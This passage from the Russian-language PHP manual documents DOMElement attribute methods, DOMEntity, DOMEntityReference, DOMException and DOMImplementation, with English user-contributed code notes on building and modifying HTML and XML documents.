$doc = $dom->createDocument(null, 'html', $dom->createDocumentType('html'));

$tag = $doc->appendChild($doc->createElement('input'));
$tag->setAttribute('type', 'text');
$tag->setAttribute('disabled', '');

echo $doc->saveHTML($tag); // <input type="text" disabled="">

$doc->normalize(); // normalize attributes
echo $doc->saveHTML($tag); // <input type="text" disabled>
?>
lehal2@hotmail 06-Jun-2013 09:44
The use of Dom to first remove and then add the width and height to the first img tag from the text.I hope it help you to save your time
<?php
$html = '

            <img src="http://www.example.com/images/header.jpg" width="898" height="223" style="border-bottom:5px solid #cccccc;"/>
        <img src="http://www.example.com/images/header2.jpg" width="898" height="223" style="border-bottom:5px solid #cccccc;"/>
        ';

$doc = DOMDocument::loadHTML($html);
$c =0;
foreach($doc->getElementsByTagName('img') as $image){
    if ($c>0) continue;
    foreach(array('width', 'height') as $attribute_to_remove){
        echo $attribute_to_remove;
        if($image->hasAttribute($attribute_to_remove)){
            $image->removeAttribute($attribute_to_remove);

        }
        if($attribute_to_remove=='height'){
            if(!$image->hasAttribute($attribute_to_remove)){
                $image->setAttribute($attribute_to_remove,'220');

            }}
        if($attribute_to_remove=='width'){
      if(!$image->hasAttribute($attribute_to_remove)){
            $image->setAttribute($attribute_to_remove,'700');

        }}
        $c = $c+1;
    }
}
echo $doc->saveHTML();
Rakesh Verma - rakeshnsony at gmail dot com 10-Nov-2010 11:27
<?php
//Store your html into $html variable.
$html="
<html>
<head>
<title>Untitled Document</title>
</head>

<body>
    <a href='http://example.com'>Example</a><br>
    <a href='http://google.com'>Google</a><br>

    <a href='http://www.yahoo.com'>Yahoo</a><br>
</body>

</html>";

$dom = new DOMDocument();
$dom->loadHTML($html);

//Evaluate Anchor tag in HTML
$xpath = new DOMXPath($dom);
$hrefs = $xpath->evaluate("/html/body//a");

for ($i = 0; $i < $hrefs->length; $i++) {
        $href = $hrefs->item($i);
        $url = $href->getAttribute('href');

        //remove and set target attribute
        $href->removeAttribute('target');
        $href->setAttribute("target", "_blank");

        $newURL=$url."/newurl";

        //remove and set href attribute
        $href->removeAttribute('href');
        $href->setAttribute("href", $newURL);
}

// save html
$html=$dom->saveHTML();

echo $html;

?>
address at gmail dot com 03-Jul-2008 07:25
If wanting to set an attribute of an element with unique id of "1"

<?php
$dom = new DomDocument();
$dom->load('test.xml');
$xp = new DomXPath($dom);
$res = $xp->query("//*[@id = '1']");
$res->item(0)->setAttribute('title','2');
$dom->save('test.xml');
?>
Vasil Rangelov 31-Jul-2007 04:44
@karvjorm,
Using this method is not exactly a good practice. Infact, I think it may be a bug.
Names beginning with "xml" are reserved (for namespaces in this case).
setAttribute() should return false in this case I think, but I suppose it doesn't.

Still, the right way to do it is with createElementNS().
It lets you specify the namespace when creating the element node.

So the equivalent to yours ($html added to allow word wrapping) is:

$dom = new DomDocument('1.0','iso-8859-15');
$html = $dom->createElementNS('http://www.w3.org/1999/xhtml', 'html');
$ht_ml = $dom->appendChild($html);
$ht_ml->setAttribute('xml:lang','fi');
$ht_ml->setAttribute('lang','fi');
karvjorm at users.sourceforge.net 02-Mar-2007 03:05
$dom = new DomDocument('1.0','iso-8859-15');

$ht_ml = $dom->appendChild($dom->createElement('html'));
$ht_ml->setAttribute('xmlns','http://www.w3.org/1999/xhtml');
$ht_ml->setAttribute('xml:lang','fi');
$ht_ml->setAttribute('lang','fi');

Result:

<?xml version="1.0" encoding="iso-8859-15"?>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fi" lang="fi">


Добавляет новый узел атрибута в элемент

  • « DOMElement::setAttribute
  • DOMElement::setAttributeNodeNS »
  • PHP Manual
  • DOMElement
  • Добавляет новый узел атрибута в элемент

DOMElement::setAttributeNode

(PHP 5, PHP 7, PHP 8)

DOMElement::setAttributeNode — Добавляет новый узел атрибута в элемент

Описание

public DOMElement::setAttributeNode(DOMAttr $attr): DOMAttr|null|false

Добавляет новый узел атрибута attr в элемент. Если в элементе уже существует узел с таким же именем, то он заменяется на attr.

Список параметров

attr

Узел атрибута.

Возвращаемые значения

Возвращает старый узел, если он был заменён или null, если старого узла не было. Если выдаётся ошибка DOM_WRONG_DOCUMENT_ERR, а strictErrorChecking равно false, то возвращается false.

Ошибки

DOM_WRONG_DOCUMENT_ERR

Возникает, если параметр attr принадлежит не данному узлу, а другому документу.

Смотрите также

  • DOMElement::hasAttribute() - Проверяет, существует ли атрибут
  • DOMElement::getAttributeNode() - Возвращает узел атрибута
  • DOMElement::removeAttributeNode() - Удаляет атрибут

User Contributed Notes

karvjorm at users.sourceforge.net 02-Mar-2007 04:01
$dom = new DomDocument('1.0','iso-8859-15');

$ht_ml = $dom->appendChild($dom->createElement('html'));

$he_ad = $ht_ml->appendChild($dom->createElement('head'));

$tit_le= $he_ad->appendChild($dom->createElement('title'));
$tit_le->appendChild($dom->createTextNode('DOMAttr test'));

$me_ta = $he_ad->appendChild(new DOMElement('meta'));
$me_ta->setAttributeNode(new DOMAttr('name', 'Description'));
$me_ta->setAttributeNode(new DOMAttr('content', 'example'));

$me_ta = $he_ad->appendChild(new DOMElement('meta'));
$me_ta->setAttributeNode(new DOMAttr('name', 'Author'));
$me_ta->setAttributeNode(new DOMAttr('content', 'karvjorm'));

Result:

<?xml version="1.0" encoding="iso-8859-15"?>
<html>
  <head>
    <title>DOMAttr test</title>
    <meta name="Description" content="example"/>
    <meta name="Author" content="karvjorm"/>
  </head>


Добавляет новый атрибут в элемент

  • « DOMElement::setAttributeNode
  • DOMElement::setAttributeNS »
  • PHP Manual
  • DOMElement
  • Добавляет новый атрибут в элемент

DOMElement::setAttributeNodeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::setAttributeNodeNS — Добавляет новый атрибут в элемент

Описание

public DOMElement::setAttributeNodeNS(DOMAttr $attr): DOMAttr|null|false

Добавляет новый узел атрибута attr в элемент с учётом пространства имён. Если в элементе уже существует атрибут с таким же именем, то он заменяется на attr.

Список параметров

attr

Узел атрибута.

Возвращаемые значения

Возвращает старый атрибут, если он был заменён или null, если старого атрибута не было. Если возникает ошибка DOM_WRONG_DOCUMENT_ERR, а strictErrorChecking равно false, то возвращается значение false.

Ошибки

DOM_WRONG_DOCUMENT_ERR

Возникает, если параметр attr принадлежит не данному элементу, а другому документу.

Смотрите также

  • DOMElement::hasAttributeNS() - Проверяет, существует ли заданный атрибут
  • DOMElement::getAttributeNodeNS() - Возвращает узел атрибута
  • DOMElement::removeAttributeNode() - Удаляет атрибут

User Contributed Notes

There are no user contributed notes for this page.


Добавляет новый атрибут

  • « DOMElement::setAttributeNodeNS
  • DOMElement::setIdAttribute »
  • PHP Manual
  • DOMElement
  • Добавляет новый атрибут

DOMElement::setAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::setAttributeNS — Добавляет новый атрибут

Описание

public DOMElement::setAttributeNS(?string $namespace, string $qualifiedName, string $value): void

Устанавливает атрибут с пространством имён, переданным в параметр namespace, и именем, переданным в параметр qualifiedName. Если атрибут не существует, он будет создан.

Список параметров

namespace

URI пространства имён.

qualifiedName

Квалифицированное имя атрибута в виде prefix:tagname.

value

Значение атрибута.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения.

DOM_NAMESPACE_ERR

Возникает, если квалифицированное имя параметра qualifiedName неверно или значение параметра qualifiedName содержит префикс, а значение параметра namespaceURI — null.

Смотрите также

  • DOMElement::hasAttributeNS() - Проверяет, существует ли заданный атрибут
  • DOMElement::getAttributeNS() - Возвращает значение атрибута
  • DOMElement::removeAttributeNS() - Удаляет атрибут

User Contributed Notes

catalinenache78 at gmail dot com 18-May-2011 07:39
To add new brand xml namespace use:

<?php
    $element->setAttributeNS(
        'http://www.w3.org/2000/xmlns/', // xmlns namespace URI
        'xmlns:mynamespace',
        'example.com/mynamespace'
    );
?>

'http://www.w3.org/2000/xmlns/' URI is important
to be able to add  new namespaces !!!

Later you can use your namespace like:

<?php
    $element->setAttributeNS(
        'example.com/mynamespace',
        'mynamespace:something',
        'value'
    );
?>


Объявляет атрибуту c указанным именем тип ID

  • « DOMElement::setAttributeNS
  • DOMElement::setIdAttributeNode »
  • PHP Manual
  • DOMElement
  • Объявляет атрибуту c указанным именем тип ID

DOMElement::setIdAttribute

(PHP 5, PHP 7, PHP 8)

DOMElement::setIdAttribute — Объявляет атрибуту c указанным именем тип ID

Описание

public DOMElement::setIdAttribute(string $qualifiedName, bool $isId): void

Объявляет атрибут с квалифицированным именем qualifiedName уникальным идентификатором элемента.

Список параметров

qualifiedName

Имя атрибута.

isId

Параметр устанавливают в true, если нужно, чтобы тип атрибута, имя которого указано в параметре qualifiedName, стал идентификатором элемента, иначе указывают false.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения.

DOM_NOT_FOUND

Возникает, если имя qualifiedName не принадлежит элементу.

Смотрите также

  • DOMDocument::getElementById() - Ищет элемент с определённым идентификатором
  • DOMElement::setIdAttributeNode() - Объявляет указанному узлу атрибута тип ID
  • DOMElement::setIdAttributeNS() - Объявляет атрибуту с указанными локальным именем и URI пространства имён тип ID

User Contributed Notes

There are no user contributed notes for this page.


Объявляет указанному узлу атрибута тип ID

  • « DOMElement::setIdAttribute
  • DOMElement::setIdAttributeNS »
  • PHP Manual
  • DOMElement
  • Объявляет указанному узлу атрибута тип ID

DOMElement::setIdAttributeNode

(PHP 5, PHP 7, PHP 8)

DOMElement::setIdAttributeNode — Объявляет указанному узлу атрибута тип ID

Описание

public DOMElement::setIdAttributeNode(DOMAttr $attr, bool $isId): void

Объявляет атрибут, определённый узлом attr, уникальным идентификатором элемента.

Список параметров

attr

Узел атрибута.

isId

Параметр устанавливают в true, если нужно, чтобы тип переданного атрибута с именем name стал идентификатором элемента, иначе указывают false.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения.

DOM_NOT_FOUND

Возникает, если атрибут с именем name не принадлежит элементу.

Смотрите также

  • DOMDocument::getElementById() - Ищет элемент с определённым идентификатором
  • DOMElement::setIdAttribute() - Объявляет атрибуту c указанным именем тип ID
  • DOMElement::setIdAttributeNS() - Объявляет атрибуту с указанными локальным именем и URI пространства имён тип ID

User Contributed Notes

There are no user contributed notes for this page.


Объявляет атрибуту с указанными локальным именем и URI пространства имён тип ID

  • « DOMElement::setIdAttributeNode
  • DOMElement::toggleAttribute »
  • PHP Manual
  • DOMElement
  • Объявляет атрибуту с указанными локальным именем и URI пространства имён тип ID

DOMElement::setIdAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMElement::setIdAttributeNS — Объявляет атрибуту с указанными локальным именем и URI пространства имён тип ID

Описание

public DOMElement::setIdAttributeNS(string $namespace, string $qualifiedName, bool $isId): void

Объявляет атрибут c указанными квалифицированным именем qualifiedName и пространством имён namespace уникальным идентификатором элемента.

Список параметров

namespace

URI пространства имён атрибута.

qualifiedName

Локальное имя атрибута в виде prefix:tagname.

isId

Параметр устанавливают в true, если нужно, чтобы тип атрибута с именем name стал идентификатором элемента, иначе указывают false.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_NO_MODIFICATION_ALLOWED_ERR

Возникает, если узел доступен только для чтения.

DOM_NOT_FOUND

Возникает, если атрибут с именем name не принадлежит элементу.

Смотрите также

  • DOMDocument::getElementById() - Ищет элемент с определённым идентификатором
  • DOMElement::setIdAttribute() - Объявляет атрибуту c указанным именем тип ID
  • DOMElement::setIdAttributeNode() - Объявляет указанному узлу атрибута тип ID

User Contributed Notes

There are no user contributed notes for this page.


Переключает атрибут

  • « DOMElement::setIdAttributeNS
  • DOMEntity »
  • PHP Manual
  • DOMElement
  • Переключает атрибут

DOMElement::toggleAttribute

(PHP 8 >= 8.3.0)

DOMElement::toggleAttribute — Переключает атрибут

Описание

public DOMElement::toggleAttribute(string $qualifiedName, ?bool $force = null): bool

Переключает атрибут.

Список параметров

qualifiedName

Квалифицированное имя атрибута.

force

  • если null, метод переключит атрибут.
  • если true, метод добавит атрибут.
  • если false, метод удалит атрибут.

Возвращаемые значения

Метод возвращает true, если атрибут присутствует после завершения вызова, в противном случае возвращает false.

Примеры

Пример #1 Пример использования метода DOMElement::toggleAttribute()

<?php

$dom = new DOMDocument();
$dom->loadXML("<?xml version='1.0'?><container selected=\"\"/>");

var_dump($dom->documentElement->toggleAttribute('selected'));
echo $dom->saveXML() . PHP_EOL;

var_dump($dom->documentElement->toggleAttribute('selected'));
echo $dom->saveXML();
?>

Результат выполнения приведённого примера:

bool(false)
<?xml version="1.0"?>
<container/>

bool(true)
<?xml version="1.0"?>
<container selected=""/>

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMEntity

(PHP 5, PHP 7, PHP 8)

Введение

Этот интерфейс представляет известную сущность в документе XML, уже разобранную или нет.

Обзор классов

class DOMEntity extends DOMNode {
/* Свойства */
public readonly ?string $publicId;
public readonly ?string $systemId;
public readonly ?string $notationName;
public readonly ?string $actualEncoding = null;
public readonly ?string $encoding = null;
public readonly ?string $version = null;
/* Наследуемые свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Наследуемые методы */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

publicId

Общедоступный идентификатор, соответствующий сущности, или null, если не задан.

systemId

Системный идентификатор, соответствующий сущности, или null, если не задан. Это может быть абсолютный URI.

notationName

Для неразобранных объектов — наименование условного обозначения для сущности. Для разобранных — null.

actualEncoding

Атрибут, задающий кодировку, которая была использована при разборе сущности, для случаев, когда разбор производился внешними методами. Значение атрибута будет равно null, если сущность находится во внутреннем подмножестве или этот факт неизвестен.

encoding

Атрибут, задающий кодировку сущности, равно как и в объявлении, когда сущность разобрана внешними средствами. В противном случае значение атрибута равно null.

version

Атрибут, задающий версию элемента, если он был разобран внешними средствами. В противном случае — null.

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMEntityReference

(PHP 5, PHP 7, PHP 8)

Обзор классов

class DOMEntityReference extends DOMNode {
/* Наследуемые свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public __construct(string $name)
/* Наследуемые методы */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Содержание

  • DOMEntityReference::__construct — Создаёт новый объект класса DOMEntityReference

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект класса DOMEntityReference

  • « DOMEntityReference
  • DOMException »
  • PHP Manual
  • DOMEntityReference
  • Создаёт новый объект класса DOMEntityReference

DOMEntityReference::__construct

(PHP 5, PHP 7, PHP 8)

DOMEntityReference::__construct — Создаёт новый объект класса DOMEntityReference

Описание

public DOMEntityReference::__construct(string $name)

Создаёт новый объект класса DOMEntityReference.

Список параметров

name

Имя ссылки на сущность.

Примеры

Пример #1 Создание нового объекта DOMEntityReference

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$entity = $element->appendChild(new DOMEntityReference('nbsp'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root></root> */

?>

Смотрите также

  • DOMDocument::createEntityReference() - Создать новый узел ссылки на сущность

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMException

(PHP 5, PHP 7, PHP 8)

Введение

Операции DOM иногда выбрасывают исключения, например, когда выполнение операции невозможно по невыясненным причинам.

Смотрите также Исключения.

Обзор классов

final class DOMException extends Exception {
/* Свойства */
public int $code;
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

code

Целое число, которое указывает тип сгенерированной ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMImplementation

(PHP 5, PHP 7, PHP 8)

Введение

Класс DOMImplementation предоставляет ряд методов для выполнения операций, которые не зависят от какого-либо экземпляра объектной модели документа.

Обзор классов

class DOMImplementation {
/* Методы */
public createDocument(?string $namespace = null, string $qualifiedName = "", ?DOMDocumentType $doctype = null): DOMDocument|false
public createDocumentType(string $qualifiedName, string $publicId = "", string $systemId = ""): DOMDocumentType|false
public hasFeature(string $feature, string $version): bool
}

Содержание

  • DOMImplementation::__construct — Создаёт новый объект класса DOMImplementation
  • DOMImplementation::createDocument — Создаёт объект класса DOMDocument заданного типа с его элементом document
  • DOMImplementation::createDocumentType — Создаёт пустой объект класса DOMDocumentType
  • DOMImplementation::hasFeature — Проверяет, реализует ли DOM-реализация интерфейс конкретного модуля DOM

User Contributed Notes

LANGE.LUDO 07-Nov-2014 06:05
Ok got it working like a charm using "proxy pattern" with traits. The idea being declaring the common methods inside a "trait" in order for extended and registered Node Classes to have access even if not derived / child of the extended DOMNode...

Here a small snippet :
<?php
    namespace my;

    trait tNode
    {    // We need the magic method __get in order to add properties such as DOMNode->parentElement
        public function __get($name)
        {    if(property_exists($this, $name)){return $this->$name;}
            if(method_exists($this, $name)){return $this->$name();}
            throw new \ErrorException('my\\Node property \''.(string) $name.'\' not found...', 42, E_USER_WARNING);
        }

        // parentElement property definition
        private function parentElement()
        {    if($this->parentNode === null){return null;}
            if($this->parentNode->nodeType === XML_ELEMENT_NODE){return $this->parentNode;}
            return $this->parentNode->parentElement();
        }

        // JavaScript equivalent
        public function isEqualNode(\DOMNode $node){return $this->isSameNode($node);}
        public function compareDocumentPosition(\DOMNode $otherNode)
        {    if($this->ownerDocument !== $otherNode->ownerDocument){return DOCUMENT_POSITION_DISCONNECTED;}
            $c = strcmp($this->getNodePath(), $otherNode->getNodePath());
            if($c === 0){return 0;}
            else if($c < 0){return DOCUMENT_POSITION_FOLLOWING | ($c < -1 ? DOCUMENT_POSITION_CONTAINED_BY : 0);}
            return DOCUMENT_POSITION_PRECEDING | ($c > 1 ? DOCUMENT_POSITION_CONTAINS : 0);
        }
        public function contains(\DOMNode $otherNode){return ($this->compareDocumentPosition($otherNode) >= DOCUMENT_POSITION_CONTAINED_BY);}
    }

    class Document extends \DomDocument
    {    public function __construct($version=null, $encoding=null)
        {    parent::__construct($version, $encoding);
            $this->registerNodeClass('DOMNode', 'my\Node');
            $this->registerNodeClass('DOMElement', 'my\Element');
            $this->registerNodeClass('DOMDocument', 'my\Document');
            /* [...] */
        }
    }

    class Element extends \DOMElement
    {    use tNode;
        /* [...] */
    }

    class Node extends \DOMNode
    {    use tNode;
        /* [...] */
    }

?>


Создаёт новый объект класса DOMImplementation

  • « DOMImplementation
  • DOMImplementation::createDocument »
  • PHP Manual
  • DOMImplementation
  • Создаёт новый объект класса DOMImplementation

DOMImplementation::__construct

(PHP 5, PHP 7)

DOMImplementation::__construct — Создаёт новый объект класса DOMImplementation

Описание

DOMImplementation::__construct()

Создаёт экземпляр класса DOMImplementation.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект класса DOMDocument заданного типа с его элементом document

  • « DOMImplementation::__construct
  • DOMImplementation::createDocumentType »
  • PHP Manual
  • DOMImplementation
  • Создаёт объект класса DOMDocument заданного типа с его элементом document

DOMImplementation::createDocument

(PHP 5, PHP 7, PHP 8)

DOMImplementation::createDocument — Создаёт объект класса DOMDocument заданного типа с его элементом document

Описание

public DOMImplementation::createDocument(?string $namespace = null, string $qualifiedName = "", ?DOMDocumentType $doctype = null): DOMDocument|false

Создаёт объект класса DOMDocument заданного типа с его элементом document.

Список параметров

namespace

URI пространства имён создаваемого элемента document.

qualifiedName

Квалифицированное имя создаваемого элемента document.

doctype

Тип создаваемого элемента document или null.

Возвращаемые значения

Новый объект класса DOMDocument или false в случае возникновения ошибки. Если аргументы namespace, qualifiedName, и doctype имеют значение null, возвращаемый объект DOMDocument будет пустым и без элемента document.

Ошибки

DOM_WRONG_DOCUMENT_ERR

Возникает, если аргумент doctype уже использовался с другим документом или был создан в другой реализации.

DOM_NAMESPACE_ERR

Возникает, если обнаружена ошибка в строках namespace и qualifiedName.

Список изменений

Версия | Описание
8.0.3 | namespace теперь допускает значение null.
8.0.0 | doctype теперь допускает значение null.
8.0.0 | При статическом вызове функции теперь будет выбрасываться ошибка Error. Ранее выдавалась ошибка уровня E_DEPRECATED.

Смотрите также

  • DOMDocument::__construct() - Создаёт новый объект DOMDocument
  • DOMImplementation::createDocumentType() - Создаёт пустой объект класса DOMDocumentType

User Contributed Notes

sleistico at gmail dot com 02-Jul-2018 03:48
I just recently got an error, having to do with deprecation, by using the type of calls in the other example listed here.  What I had to do instead looks like this...

$htmldoc = (new DOMImplementation)->createDocument(null, 'html', (new DOMImplementation)->createDocumentType("html"));

This creates a document with <!DOCTYPE html> at the top of it.
eboyjr 22-Jul-2010 12:48
To add on to the other example, here's how to create an XHTML 1.0 transitional document with head, title, and body elements.

<?php

$document = DOMImplementation::createDocument(null, 'html',
    DOMImplementation::createDocumentType("html",
        "-//W3C//DTD XHTML 1.0 Transitional//EN",
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"));
$document->formatOutput = true;

$html = $document->documentElement;
$head = $document->createElement('head');
$title = $document->createElement('title');
$text = $document->createTextNode('Title of Page');
$body = $document->createElement('body');

$title->appendChild($text);
$head->appendChild($title);
$html->appendChild($head);
$html->appendChild($body);

echo $document->saveXML();
?>

This outputs: (http links removed due to spam)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "doctype.dtd">
<html xmlns="w3org1999xhtml">
  <head>
    <meta http-equiv="Content-Type" content="text/html; CHARSET=Windows-1251" />
    <title>Title of Page</title>
  </head>
  <body></body>
</html>

Note the saveXML function. If saveHTML was used instead, you get the output:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "doctype.dtd">
<html>
<head><title>Title of Page</title></head>
<body></body>
</html>
arturm at union dot com dot pl 06-May-2006 10:23
To create HTML document with doctype:

<?php
$doctype = DOMImplementation::createDocumentType("html",
                "-//W3C//DTD HTML 4.01//EN",
                "http://www.w3.org/TR/html4/strict.dtd");
$doc = DOMImplementation::createDocument(null, 'html', $doctype);
?>


Создаёт пустой объект класса DOMDocumentType

  • « DOMImplementation::createDocument
  • DOMImplementation::hasFeature »
  • PHP Manual
  • DOMImplementation
  • Создаёт пустой объект класса DOMDocumentType

DOMImplementation::createDocumentType

(PHP 5, PHP 7, PHP 8)

DOMImplementation::createDocumentType — Создаёт пустой объект класса DOMDocumentType

Описание

public DOMImplementation::createDocumentType(string $qualifiedName, string $publicId = "", string $systemId = ""): DOMDocumentType|false

Создаёт пустой объект класса DOMDocumentType. Объявления сущностей и обозначения будут недоступны. Ссылки на сущности не будут заменяться и добавления атрибутов по умолчанию не будут происходить.

Список параметров

qualifiedName

Квалифицированное имя типа документа для создания.

publicId

Общедоступный идентификатор внешнего подмножества.

systemId

Системный идентификатор внешнего подмножества.

Возвращаемые значения

Новый объект класса DOMDocumentType с атрибутом ownerDocument, установленным в null или false в случае возникновения ошибки.

Ошибки

DOM_NAMESPACE_ERR

Возникает, если обнаружена ошибка в строке qualifiedName.

Список изменений

Версия | Описание
8.0.0 | При статическом вызове функции теперь будет выбрасываться ошибка Error. Ранее выдавалась ошибка уровня E_DEPRECATED.

Примеры

Пример #1 Создание документа с прикреплённым DTD

<?php

// Создаёт экземпляр класса DOMImplementation
$imp = new DOMImplementation;

// Создаёт экземпляр класса DOMDocumentType
$dtd = $imp->createDocumentType('graph', '', 'graph.dtd');

// Создаёт объект DOMDocument
$dom = $imp->createDocument("", "", $dtd);

// Установка других параметров
$dom->encoding = 'UTF-8';
$dom->standalone = false;

// Создание пустого элемента
$element = $dom->createElement('graph');

// Добавление элемента
$dom->appendChild($element);

// Получение и печать документа
echo $dom->saveXML();

?>

Результат выполнения приведённого примера:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE graph SYSTEM "graph.dtd">
<graph/>

Смотрите также

  • DOMImplementation::createDocument() - Создаёт объект класса DOMDocument заданного типа с его элементом document

User Contributed Notes

until-all-bytes-are-free at example dot org 09-Apr-2011 04:28
I had problems to use a DTD from a file. It needed to be resolved relatively and it contained characters that made DomDocument failed to resolve the file.

Encoding and an absolute filename did not help much. So I used the data:// streamwrapper ( http://php.net/manual/en/wrappers.data.php ) as a work-around:

<?php

// relative or absolute filename
$path = '...';

// convert file contents into a filename
$data = file_get_contents($path);
$systemId = 'data://text/plain;base64,'.base64_encode($data);

// ...

// Creates a DOMDocumentType instance
$dtd = $aImp->createDocumentType('qualified name', '', $systemId);

?>

Works like a charm.


Проверяет, реализует ли DOM-реализация интерфейс конкретного модуля DOM

  • « DOMImplementation::createDocumentType
  • DOMNamedNodeMap »
  • PHP Manual
  • DOMImplementation
  • Проверяет, реализует ли DOM-реализация интерфейс конкретного модуля DOM

DOMImplementation::hasFeature

(PHP 5, PHP 7, PHP 8)

DOMImplementation::hasFeature — Проверяет, реализует ли DOM-реализация интерфейс конкретного модуля DOM

Описание

public DOMImplementation::hasFeature(string $feature, string $version): bool

Метод проверяет, реализует ли реализация feature интерфейс конкретного модуля DOM.

Список модулей перечисляет раздел стандарта DOM » Согласование.

Список параметров

feature

Название модуля для проверки.

version

Номер версии модуля feature. Для стандарта DOM level 2 метод принимает либо значение 2.0, либо значение 1.0.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | Теперь статический вызов метода выбросит исключение Error. Раньше метод выдавал ошибку уровня E_DEPRECATED.

Примеры

Пример #1 Тестирование реализации DOM

<?php

$features = array(
'Core' => 'Core module',
'XML' => 'XML module',
'HTML' => 'HTML module',
'Views' => 'Views module',
'Stylesheets' => 'Style Sheets module',
'CSS' => 'CSS module',
'CSS2' => 'CSS2 module',
'Events' => 'Events module',
'UIEvents' => 'User interface Events module',
'MouseEvents' => 'Mouse Events module',
'MutationEvents' => 'Mutation Events module',
'HTMLEvents' => 'HTML Events module',
'Range' => 'Range module',
'Traversal' => 'Traversal module'
);

$implementation = new DOMImplementation();

foreach ($features as $key => $name) {
if ($implementation->hasFeature($key, '2.0')) {
